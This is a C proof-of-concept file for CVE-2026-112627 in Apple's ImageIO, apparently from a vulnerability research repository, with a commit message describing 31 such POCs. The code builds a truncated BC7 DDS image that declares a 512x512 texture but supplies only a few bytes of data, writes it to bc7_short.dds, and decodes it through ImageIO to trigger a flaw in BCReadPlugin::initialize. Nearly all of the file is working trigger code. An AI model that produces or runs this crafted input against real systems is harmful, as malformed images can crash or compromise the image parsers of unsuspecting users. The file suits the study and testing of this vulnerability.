JBJF
7949c7ce9f
- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
93 lines
4.0 KiB
C
93 lines
4.0 KiB
C
// iio.dds.bc7 · ImageIO · BCReadPlugin::initialize · CVE-2026-112627
|
|
// BC7 DDS short mip level decode
|
|
// C twin of the Swift POC: builds the truncated BC7 DDS and decodes it through ImageIO.
|
|
// Variant iio.appx (APP marker overrun re-encode) is noted in the Swift POC.
|
|
// Build: clang -O2 -o cve-2026-112627 CVE-2026-112627.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
|
|
// Run: ./cve-2026-112627 [data-bytes]
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
|
|
// ── byte buffer ──
|
|
typedef struct { uint8_t *d; size_t n, cap; } buf;
|
|
static void bneed(buf *b, size_t extra) {
|
|
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
|
|
}
|
|
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
|
|
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
|
|
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
|
|
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
|
|
|
|
static void le32(buf *b, uint32_t v) {
|
|
bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
|
|
}
|
|
|
|
// ── seed construction (from Cinder27 Sources: TexturePayload.bc7Short) ──
|
|
static buf dds_bc7_short(int width, int height, int data_bytes) {
|
|
buf out = {0};
|
|
bcat(&out, "DDS ", 4);
|
|
le32(&out, 124); // header size
|
|
le32(&out, 0x00081007); // flags: caps2 cubemap? no — linear size + mipcount bits
|
|
le32(&out, (uint32_t)height);
|
|
le32(&out, (uint32_t)width);
|
|
le32(&out, 0); // pitch
|
|
le32(&out, 0); // depth
|
|
le32(&out, 1); // mip count
|
|
brep(&out, 0, 44); // reserved
|
|
le32(&out, 32); // pixel format size
|
|
le32(&out, 0x4); // fourcc flag
|
|
bcat(&out, "DX10", 4);
|
|
brep(&out, 0, 20); // pixel format tail
|
|
le32(&out, 0x1000); // caps2 cubemap flag
|
|
le32(&out, 0); le32(&out, 0); le32(&out, 0); le32(&out, 0);
|
|
// DX10 extension: BC7_UNORM = 98, dim 3, 0, array 1, 0
|
|
le32(&out, 98); le32(&out, 3); le32(&out, 0); le32(&out, 1); le32(&out, 0);
|
|
brep(&out, 0, data_bytes > 0 ? (size_t)data_bytes : 1); // the short mip level
|
|
return out;
|
|
}
|
|
|
|
// ── trigger: decode through ImageIO ──
|
|
#include <ImageIO/ImageIO.h>
|
|
#include <CoreGraphics/CoreGraphics.h>
|
|
#include <CoreFoundation/CoreFoundation.h>
|
|
|
|
static int decode_image(const buf *img, const char **detail) {
|
|
CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
|
|
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
|
|
CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
|
|
CFRelease(cf);
|
|
if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
|
|
size_t frames = CGImageSourceGetCount(src);
|
|
CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
|
|
static char r[256];
|
|
if (cg) {
|
|
snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)",
|
|
(size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
|
|
CGImageRelease(cg);
|
|
} else {
|
|
snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
|
|
}
|
|
CFRelease(src);
|
|
*detail = r;
|
|
return cg ? 0 : -1;
|
|
}
|
|
|
|
int main(int argc, char **argv) {
|
|
int width = 512, height = 512;
|
|
int data_bytes = argc > 1 ? atoi(argv[1]) : 64;
|
|
|
|
buf dds = dds_bc7_short(width, height, data_bytes);
|
|
FILE *f = fopen("bc7_short.dds", "wb");
|
|
if (f) { fwrite(dds.d, 1, dds.n, f); fclose(f); }
|
|
|
|
const char *detail = NULL;
|
|
int rc = decode_image(&dds, &detail);
|
|
int needed = (width / 4) * (height / 4) * 16;
|
|
printf("CVE-2026-112627 · %dx%d BC7 needs %d B, provided %d B · %s\n",
|
|
width, height, needed, data_bytes, detail ? detail : "?");
|
|
printf("seed: bc7_short.dds (%zu B) · exit code %d\n", dds.n, rc);
|
|
bfree(&dds);
|
|
return rc == 0 ? 0 : 1;
|
|
}
|